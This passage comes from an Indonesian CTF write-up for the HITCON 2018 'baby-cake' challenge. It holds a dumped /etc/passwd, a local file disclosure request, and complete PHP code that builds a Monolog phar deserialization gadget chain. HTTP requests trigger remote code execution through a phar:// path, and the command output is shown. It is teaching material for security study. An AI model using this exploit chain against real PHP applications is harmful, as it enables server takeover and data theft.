uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash
```

Kita juga dapat melihat bahwa konfigurasi Apache menggunakan `000-default.conf` dan direktori web berada di `/var/www/html`.

```
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/apache2/sites-enabled/000-default.conf
```

```
<VirtualHost *:80>
...

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

...
</VirtualHost>
```

Percobaan untuk mendapatkan flag dari Local File Disclosure tidak berhasil. Oleh karena itu, kita harus meningkatkannya menjadi Remote Code Execution.

#### Remote Code Execution

Dengan menggunakan fitur yang ada di web, kita dapat menyimpan konten body dari web kita di `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(URL)/body.cache`. Strategi yang dapat dilakukan adalah:

1. Buat payload untuk melakukan PHP Object Injection dari berbagai Class yang tersedia.
2. Letakkan payload PHP Object Injection tersebut pada suatu file phar, misal `exploit.phar` di IP kita.
3. Download `http://IP/exploit.phar` dari web sehingga cache akan tersimpan di `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache`
4. Lakukan POST pada web dengan URL web sembarang dan data untuk membuka `phar://` stream wrapper sehingga terjadi `unserialization`.

Untuk `gadgets`, di sini kita akan mencoba menggunakan `Monolog` dengan referensi dari https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1.

Berikut adalah kode untuk membuat payload `exploit.phar` yang akan mengeksekusi `system('ls -alt')`.

```php
socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}

namespace{
$cmd = "ls -alt";

$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('');
$phar->setMetadata($obj);
$phar->stopBuffering();

}
```

Pertama, akses URL `exploit.phar` pada aplikasi web agar cache-nya disimpan.

```
GET http://13.230.134.135/?url=http://IP/exploit.phar
```

Lalu, gunakan POST request untuk membuka stream 'phar://' dengan lokasi cache dari `exploit.phar` sebagai path.

```
POST http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache
```

Dan RCE berhasil dilakukan!

```
total 104
drwxr-xr-x 26 root root 1000 Oct 21 11:08 run
drwxrwxrwt 2 root root 4096 Oct 21 06:25 tmp
-rwsr-sr-x 1 root root 8568 Oct 18 19:53 read_flag
drwxr-xr-x 23 root root 4096 Oct 18 19:53 .
drwxr-xr-x 23 root root 4096 Oct 18 19:53 ..
drwx------ 5 root root 4096 Oct 18 17:12 root
drwxr-xr-x 90 root root 4096 Oct 18 11:23 etc
dr-xr-xr-x 13 root root 0 Oct 16 07:57 sys
-r-------- 1 root root 54 Oct 15 19:49 flag
drwxr-xr-x 4 root root 4096 Oct 15 19:41 home
drwxr-xr-x 3 root root 4096 Oct 9 06:07 boot
lrwxrwxrwx 1 root root 31 Oct 9 06:07 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx 1 root root 28 Oct 9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
drwxr-xr-x 2 root root 4096 Oct 9 06:07 sbin
lrwxrwxrwx 1 root root 14 Oct 8 17:14 www -> /var/www/html/
drwxr-xr-x 14 root root 4096 Oct 8 17:13 var
drwxr-xr-x 5 root root 4096 Oct 8 17:06 snap
drwxr-xr-x 15 root root 2980 Oct 8 17:06 dev
dr-xr-xr-x 136 root root 0 Oct 8 17:06 proc
lrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
lrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws
drwxr-xr-x 20 root root 4096 Sep 12 16:16 lib
drwx------ 2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x 2 root root 4096 Sep 12 15:59 bin
drwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64
drwxr-xr-x 10 root root 4096 Sep 12 15:55 usr
drwxr-xr-x 2 root root 4096 Sep 12 15:55 media
drwxr-xr-x 2 root root 4096 Sep 12 15:55 opt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 mnt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 srv
```

File `/flag` tidak bisa dibuka karena hanya bisa dibaca oleh `root`. Sepertinya kita harus membacanya dengan mengeksekusi `/read_flag` yang merupakan setuid binary. Jika `tty` diperlukan, kita bisa melakukan reverse shell. Namun, tty tidak diperlukan sehingga eksekusi `system('/get_flag')` dengan memodifikasi payload sebelumnya akan memberikan kita flag.

Flag: **hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}**

FYI, [Orange](https://twitter.com/orange_8361) (pembuat soal) sudah menemukan bahwa `phar://` dapat melakukan `unserialize` di internal sejak tahun lalu, lebih dulu dari pada orang lain yang mempresentasikannya di Black Hat USA 2018.

Referensi:
- https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017
- https://blog.ripstech.com/2018/new-php-exploitation-technique/

Original writeup (https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake).